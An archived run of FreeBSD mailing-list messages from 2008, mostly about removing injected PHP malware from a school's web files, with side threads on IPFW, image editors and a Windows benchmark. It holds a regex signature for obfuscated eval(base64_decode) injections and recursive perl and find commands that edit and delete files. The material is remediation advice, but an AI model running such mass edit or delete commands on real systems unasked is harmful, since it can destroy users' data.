http://www.boosten.org From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:39:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3AD151065672 for ; Fri, 5 Dec 2008 09:39:24 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 0A7458FC1E for ; Fri, 5 Dec 2008 09:39:23 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 0AB24AFBC02; Fri, 5 Dec 2008 00:39:23 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, mcoyles@horbury.wakefield.sch.uk Date: Fri, 5 Dec 2008 10:39:21 +0100 User-Agent: KMail/1.9.7 References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> In-Reply-To: <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:39:24 -0000 On Friday 05 December 2008 10:17:46 Marc Coyles wrote: > > + not \; or you will fork on every result. > > > > Additionally, is this injected code one long string or broken down > > by the > > mailer? Grep isn't the best way to deal with it. It's pretty easy > > to correct > > with perl, bit trickier if it's multiline, still not too hard: > > > > find /home/horbury -type f -exec \ > > perl -pi.bak -e 's,<\? /\*\*/eval\(base64_decode\(.*?\?>,,s' {} + > > Sadly that didn't work. It created .bak files for everything within > /home/Horbury recursively, but didn't make any changes - the base64_decode > is till present. > > Additional point to note: this only needs performing on .php files, not all > files... > > Would I be correct in guessing it's because the string for perl to search > for omits a space? Nope. > IE: within the files, it's as follows: > Cause in your original mail I didn't catch the ,,s' > Whereas the perl appears to be looking for: > > > Also... how to delete all files ending in .bak recursively? *grin* > > I'm presuming it'd be: > > Find /home/horbury -type f -name "*.bak" -exec \ find /home/horbury -name '*.bak' -delete -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:48:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A2D351065677 for ; Fri, 5 Dec 2008 09:48:40 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 13E678FC0A for ; Fri, 5 Dec 2008 09:48:39 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from lack-of-gravitas.thebunker.net (gateway.ash.thebunker.net [213.129.64.4]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mB59mHEM007911 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 5 Dec 2008 09:48:24 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mB59mHEM007911 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228470504; bh=B49sbis47hMa9p zv0pmbMcPIKa0FFIZbZLCDMgbJe+g=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type: Content-Transfer-Encoding:Cc:Content-Type:Date:From:In-Reply-To: Message-ID:Mime-Version:References:To; z=Message-ID:=20<4938F8E0.2 040908@infracaninophile.co.uk>|Date:=20Fri,=2005=20Dec=202008=2009: 48:16=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User-Agent:=20Thunderbird= 202.0.0.18=20(X11/20081202)|MIME-Version:=201.0|To:=20Peter=20Boost en=20|CC:=20mcoyles@horbury.wakefield.sch.uk,=20 freebsd-questions@freebsd.org|Subject:=20Re:=20Mass=20find/replace. ..|References:=20<002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> =09<1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be>=09<2008120505 51.32850.fbsd.questions@rachie.is-a-geek.net>=09<004c01c956ba$56497 410$02dc5c30$@wakefield.sch.uk>=20<4938F4E8.8030304@boosten.org>|In -Reply-To:=20<4938F4E8.8030304@boosten.org>|X-Enigmail-Version:=200 .95.6|Content-Type:=20text/plain=3B=20charset=3DUTF-8=3B=20format=3 Dflowed|Content-Transfer-Encoding:=207bit; b=zkTfrDAkSM3QyLCxnbj5na PEsXsoUrV3EGJ97XmUMJ439D8FD07xe7YtQm00kFpodkFqKBSbvjxuy5W6vuNGBjfyP dIobO6of3ZHWTIn33c8PXYwRkCIwMb5durhfugGdTFH6MUfEvNQeTwekFKm2I8UllCn LqJ04VFYPDN3C2s= Message-ID: <4938F8E0.2040908@infracaninophile.co.uk> Date: Fri, 05 Dec 2008 09:48:16 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081202) MIME-Version: 1.0 To: Peter Boosten References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <4938F4E8.8030304@boosten.org> In-Reply-To: <4938F4E8.8030304@boosten.org> X-Enigmail-Version: 0.95.6 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [81.187.76.162]); Fri, 05 Dec 2008 09:48:24 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8722/Fri Dec 5 04:32:54 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,SPF_FAIL autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: mcoyles@horbury.wakefield.sch.uk, freebsd-questions@freebsd.org Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:48:40 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 Peter Boosten wrote: | Marc Coyles wrote: |> I'm presuming it'd be: |> |> Find /home/horbury -type f -name "*.bak" -exec \ |> Rm *.bak |> | | find /home/horbury -name "*.bak" -exec rm {} \; | find /home/horbury -type f -name '*.bak' -delete 'delete' is a find primitive -- no need to exec any other processes. Cheers, Matthew - -- Dr Matthew J Seaman MA, D.Phil. Flat 3 ~ 7 Priory Courtyard PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate ~ Kent, CT11 9PW, UK -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREDAAYFAkk4+OAACgkQ3jDkPpsZ+VbPwACfUrggUN1yIPqkq3pgCyy6fFzH sncAn2WW0XD9l9NgNtK4T2IiMqoyxY6f =1CX6 -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:52:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E581B1065677 for ; Fri, 5 Dec 2008 09:52:07 +0000 (UTC) (envelope-from odhiambo@gmail.com) Received: from rv-out-0506.google.com (rv-out-0506.google.com [209.85.198.237]) by mx1.freebsd.org (Postfix) with ESMTP id AFDAA8FC16 for ; Fri, 5 Dec 2008 09:52:07 +0000 (UTC) (envelope-from odhiambo@gmail.com) Received: by rv-out-0506.google.com with SMTP id b25so4305450rvf.43 for ; Fri, 05 Dec 2008 01:52:07 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=KWp+47JSzncU6TdkPxaunQqNofNyst+GEWqIBiJwpeg=; b=JT35CT3hlj0FdGzensen830oyP3h2bpj+S/hFiyAu1zaPh/z95MB13JH/x+yV7kRuw fTxRYex3yRrsodZqAOI4KJNii/U4zXwS0o15AVs0/nPLRIXw9UuG9thG4/wZvQJryAUU w3ICP73IxagEBgjasYeXeH0G5BzrVXN7EZaTU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=blDPy/fVfD6n+qYifKUr/5Msofew1K5Kkq8mCZ2ZpViFtZVQpWgfKl/3tjtkKFnKxe oFkxTM0FV1d70RmmJ/t9+exlD5jqXFifoXyp+axyYW+zUpUZzB91/TGcyyfl0e9JWcbZ 3It6fuPfp9kSn+csOHxy8X0RlZVKjD+mE8RIg= Received: by 10.114.121.1 with SMTP id t1mr9802987wac.183.1228470727378; Fri, 05 Dec 2008 01:52:07 -0800 (PST) Received: by 10.114.66.7 with HTTP; Fri, 5 Dec 2008 01:52:07 -0800 (PST) Message-ID: <991123400812050152h33a956ddja77ab8d573537843@mail.gmail.com> Date: Fri, 5 Dec 2008 12:52:07 +0300 From: "Odhiambo Washington" To: "Wojciech Puchar" In-Reply-To: <20081205102311.H58585@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:52:08 -0000 On Fri, Dec 5, 2008 at 12:24 PM, Wojciech Puchar < wojtek@wojtek.tensor.gdynia.pl> wrote: > I'm just curious to see how it looks for my own sanity's sake. At work, >> > > yes windows is much faster and much easier to use. it was told so many > times on adverts and you still not understand that?! > > there are just strange people there that want to still use unix. No one in their right senses would spend time benchmarking FreeBSD (or any Unix variant) against Windows (oh, which version?). It's a waste of time. Let those who use Windows use it and those who like living in a world where they are allowed to use their brains use Unix. -- Best regards, Odhiambo WASHINGTON, Nairobi,KE +254733744121/+254722743223 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ "Okay guys. This is Kenya. You pay taxes because you feel philanthropic, unlike our MPs!" -- Kenneth Marende, Speaker, 10th Parilament. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:53:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3285C1065687 for ; Fri, 5 Dec 2008 09:53:02 +0000 (UTC) (envelope-from jcigar@ulb.ac.be) Received: from mxin.ulb.ac.be (mxin.ulb.ac.be [164.15.128.112]) by mx1.freebsd.org (Postfix) with ESMTP id C290E8FC23 for ; Fri, 5 Dec 2008 09:53:01 +0000 (UTC) (envelope-from jcigar@ulb.ac.be) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AusAAByEOEmkD30E/2dsb2JhbAAIzxGDBQ Received: from bebif01.ulb.ac.be (HELO [10.0.0.194]) ([164.15.125.4]) by smtp.ulb.ac.be with ESMTP; 05 Dec 2008 10:53:00 +0100 From: Julien Cigar To: Wojciech Puchar In-Reply-To: <20081205102311.H58585@wojtek.tensor.gdynia.pl> References: <0016e64ca7d690e38f045d45227d@google.com> <20081205102311.H58585@wojtek.tensor.gdynia.pl> Content-Type: text/plain; charset=utf-8 Date: Fri, 05 Dec 2008 10:53:28 +0100 Message-Id: <1228470808.2741.14.camel@frodon.be-bif.ulb.ac.be> Mime-Version: 1.0 X-Mailer: Evolution 2.22.3.1 Content-Transfer-Encoding: 8bit Cc: "freebsd-questions@freebsd.org" , af300wsm@gmail.com Subject: Re: Performance benchmarks pitting FreeBSD against Windows X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:53:02 -0000 What I find mist glaring when one moves from a Linux / FreeBSD system to a Windows system it's the virtual memory management, with the same amount of RAM Windows swaps a *lot* more. Regarding the usability, it's clear that they target different people, as Windows if mainly used by non-IT people .. On Fri, 2008-12-05 at 10:24 +0100, Wojciech Puchar wrote: > > I'm just curious to see how it looks for my own sanity's sake. At work, > > yes windows is much faster and much easier to use. it was told so many > times on adverts and you still not understand that?! > > there are just strange people there that want to still use unix. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Julien Cigar Belgian Biodiversity Platform http://www.biodiversity.be Université Libre de Bruxelles (ULB) Campus de la Plaine CP 257 Bâtiment NO, Bureau 4 N4 115C (Niveau 4) Boulevard du Triomphe, entrée ULB 2 B-1050 Bruxelles Mail: jcigar@ulb.ac.be @biobel: http://biobel.biodiversity.be/person/show/471 Tel : 02 650 57 52 From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 09:59:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7EA09106564A for ; Fri, 5 Dec 2008 09:59:44 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2.yhgfl.net (smtp3.yhgfl.net [89.207.208.210]) by mx1.freebsd.org (Postfix) with ESMTP id 3643E8FC1C for ; Fri, 5 Dec 2008 09:59:44 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2.yhgfl.net (localhost.localdomain [127.0.0.1]) by localhost (Email Security Appliance) with SMTP id 190BD1BC0557 for ; Fri, 5 Dec 2008 09:59:43 +0000 (GMT) Received: from smtp1-wak.yhgfl.net (smtp3-wak-ext.yhgfl.net [89.207.208.42]) by smtp2.yhgfl.net (Email Security Appliance) with ESMTP id C2C011BC0554 for ; Fri, 5 Dec 2008 09:59:42 +0000 (GMT) Received: from horbury.wakefield.sch.uk ([10.126.96.34]) by smtp1-wak.yhgfl.net (8.13.8/8.13.8/Debian-3) with ESMTP id mB59xYY0003598 for ; Fri, 5 Dec 2008 09:59:36 GMT Received: from ITTEAM02 [10.126.96.253] by horbury.wakefield.sch.uk with ESMTP (SMTPD32-7.07) id AB803DA0088; Fri, 05 Dec 2008 09:59:28 +0000 From: "Marc Coyles" To: References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> In-Reply-To: <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> Date: Fri, 5 Dec 2008 09:59:26 -0000 Message-ID: <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclWvYeQd+urNZjuSEusN4uLDLBHrwAAlJiw Content-Language: en-gb X-YHGfL-MailScanner-Information: Please contact the YHGfL Foundation for more information X-YHGfL-MailScanner: Found to be clean X-YHGfL-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 0.5) X-YHGfL-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.399, required 5, autolearn=not spam, ALL_TRUSTED -1.80, BAYES_00 -2.60) X-MailScanner-From: mcoyles@horbury.wakefield.sch.uk Subject: RE: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mcoyles@horbury.wakefield.sch.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 09:59:44 -0000 All done n' dusted now - thanks very much for everyone's input...! Have = noted everything down in the back of my copy of "Absolute FreeBSD 2nd = Edition" (which has inherited quite a few additional pages since I = bought it). Now that that's done, I can start to wander thru logs and find = who/how... Cheers! Marc From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 10:19:31 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 891191065672 for ; Fri, 5 Dec 2008 10:19:31 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2.yhgfl.net (smtp3.yhgfl.net [89.207.208.210]) by mx1.freebsd.org (Postfix) with ESMTP id 1B32C8FC1F for ; Fri, 5 Dec 2008 10:19:30 +0000 (UTC) (envelope-from mcoyles@horbury.wakefield.sch.uk) Received: from smtp2.yhgfl.net (localhost.localdomain [127.0.0.1]) by localhost (Email Security Appliance) with SMTP id A8E6A1BC0543 for ; Fri, 5 Dec 2008 10:19:29 +0000 (GMT) Received: from smtp3-wak.yhgfl.net (eca.yhgfl.net [89.207.208.91]) by smtp2.yhgfl.net (Email Security Appliance) with ESMTP id 5C9311BC054E for ; Fri, 5 Dec 2008 10:19:29 +0000 (GMT) Received: from horbury.wakefield.sch.uk ([10.126.96.34]) by smtp3-wak.yhgfl.net (8.13.8/8.13.8/Debian-3) with ESMTP id mB5AJHXB004430 for ; Fri, 5 Dec 2008 10:19:19 GMT Received: from ITTEAM02 [10.126.96.253] by horbury.wakefield.sch.uk with ESMTP (SMTPD32-7.07) id A01F290076; Fri, 05 Dec 2008 10:19:11 +0000 From: "Marc Coyles" To: References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> <200812051039.21913.fbsd.questions@rachie.is-a-geek.net> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> In-Reply-To: <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> Date: Fri, 5 Dec 2008 10:19:09 -0000 Message-ID: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclWvYeQd+urNZjuSEusN4uLDLBHrwAAlJiwAAC03iA= Content-Language: en-gb X-YHGfL-MailScanner-Information: Please contact the YHGfL Foundation for more information X-YHGfL-MailScanner: Found to be clean X-YHGfL-MailScanner-MCPCheck: MCP-Clean, MCP-Checker (score=0, required 0.5) X-YHGfL-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.399, required 5, autolearn=not spam, ALL_TRUSTED -1.80, BAYES_00 -2.60) X-MailScanner-From: mcoyles@horbury.wakefield.sch.uk Subject: RE: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mcoyles@horbury.wakefield.sch.uk List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 10:19:31 -0000 > All done n' dusted now - thanks very much for everyone's input...! > Have noted everything down in the back of my copy of "Absolute > FreeBSD 2nd Edition" (which has inherited quite a few additional > pages since I bought it). >=20 > Now that that's done, I can start to wander thru logs and find > who/how... >=20 > Cheers! > Marc >=20 Arse - I spoke too soon. Anyone know any perl to remove blank lines???! It's left a blank line at top of each PHP file that it performed the = action on, which has broken things a touch... marc From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 10:29:16 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E83061065675 for ; Fri, 5 Dec 2008 10:29:16 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id AB18E8FC0A for ; Fri, 5 Dec 2008 10:29:16 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id 291DF16C83B4; Fri, 5 Dec 2008 11:29:14 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB5ATEUP001499; Fri, 5 Dec 2008 11:29:14 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Fri, 5 Dec 2008 11:29:14 +0100 From: Polytropon To: gwg7webbcom@yahoo.com Message-Id: <20081205112914.bad246af.freebsd@edvax.de> In-Reply-To: <916515.67967.qm@web52202.mail.re2.yahoo.com> References: <916515.67967.qm@web52202.mail.re2.yahoo.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Freebsd Questions Subject: Re: IPFW Firewall Question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 10:29:17 -0000 Often discussed and adviced... On Thu, 4 Dec 2008 16:26:04 -0800 (PST), G magicman = wrote: > here is part of the configuration file so far that the Co-lo people put i= n. > [...]=20 > #!/usr/local/bin/bash When possible, use the STANDARD form: #!/bin/sh Declare #!/usr/local/bin/bash only if you're intentionally using BASH specifig functionalities that SH doesn't include. May save you lots of headache. > 2. short of a reboot how do you start stop and restart the=A0 firewall You can use ipfw's rc.d script: # /etc/rc.d/ipfw start # /etc/rc.d/ipfw stop # /etc/rc.d/ipfw restart Just a small note, but I hope it will help you. --=20 Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 10:31:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5CB8A106564A for ; Fri, 5 Dec 2008 10:31:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 2EB818FC0A for ; Fri, 5 Dec 2008 10:31:50 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 78740AFBC02; Fri, 5 Dec 2008 01:31:49 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, mcoyles@horbury.wakefield.sch.uk Date: Fri, 5 Dec 2008 11:31:46 +0100 User-Agent: KMail/1.9.7 References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <004e01c956c0$27f97820$77ec6860$@wakefield.sch.uk> <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> In-Reply-To: <005901c956c2$e90e4340$bb2ac9c0$@wakefield.sch.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812051131.47577.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: Mass find/replace... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 10:31:50 -0000 On Friday 05 December 2008 11:19:09 Marc Coyles wrote: > > All done n' dusted now - thanks very much for everyone's input...! > > Have noted everything down in the back of my copy of "Absolute > > FreeBSD 2nd Edition" (which has inherited quite a few additional > > pages since I bought it). > > > > Now that that's done, I can start to wander thru logs and find > > who/how... > > > > Cheers! > > Marc > > Arse - I spoke too soon. > > Anyone know any perl to remove blank lines???! > It's left a blank line at top of each PHP file that it performed the action > on, which has broken things a touch... 's/^(.*?)\r?\n\r?\n/$1\n/s' should only replace the first empty line it finds in a file and accounts for windows line endings. Try it out on one file first: perl -pi.bak 's/^(.*?)\r?\n\r?\n/$1\n/s' filename.php -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 10:34:13 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C10671065676 for ; Fri, 5 Dec 2008 10:34:13 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id 841F48FC19 for ; Fri, 5 Dec 2008 10:34:13 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id BAF9416C83DC; Fri, 5 Dec 2008 11:34:12 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB5AYCMo001519; Fri, 5 Dec 2008 11:34:12 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Fri, 5 Dec 2008 11:34:11 +0100 From: Polytropon To: Frank Bonnet Message-Id: <20081205113411.f202b11c.freebsd@edvax.de> In-Reply-To: <4938C38B.8080008@esiee.fr> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> <4938C38B.8080008@esiee.fr> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Image Programs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 10:34:13 -0000 On Fri, 05 Dec 2008 07:00:43 +0100, Frank Bonnet wrote: > G magicman wrote: > > Hello does anyone know the following > > > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > > > > Thank you > > > > http://www.gimp.org For now, The Gimp has been suggested many times. I've heard from users that there's "Gimpshop" to make The Gimp's excellent interface look like the one of "Photoshop" for those users who want it. Personally, I find the "original" Gimp interface isn't as bad as claimed by many users who are spoiled by the "Windows" way of doing things. :-) Furthermore, there's Krita, if you're already using KDE. For automated image manipulations, ImageMagick and especially its convert command are very useful and powerful (!) tools. What about Inkscape? Tried this one? But finally, for professional use, The Gimp seems to be the best program availabe at the moment. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 10:49:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0940C106564A for ; Fri, 5 Dec 2008 10:49:06 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id D008A8FC0A for ; Fri, 5 Dec 2008 10:49:05 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 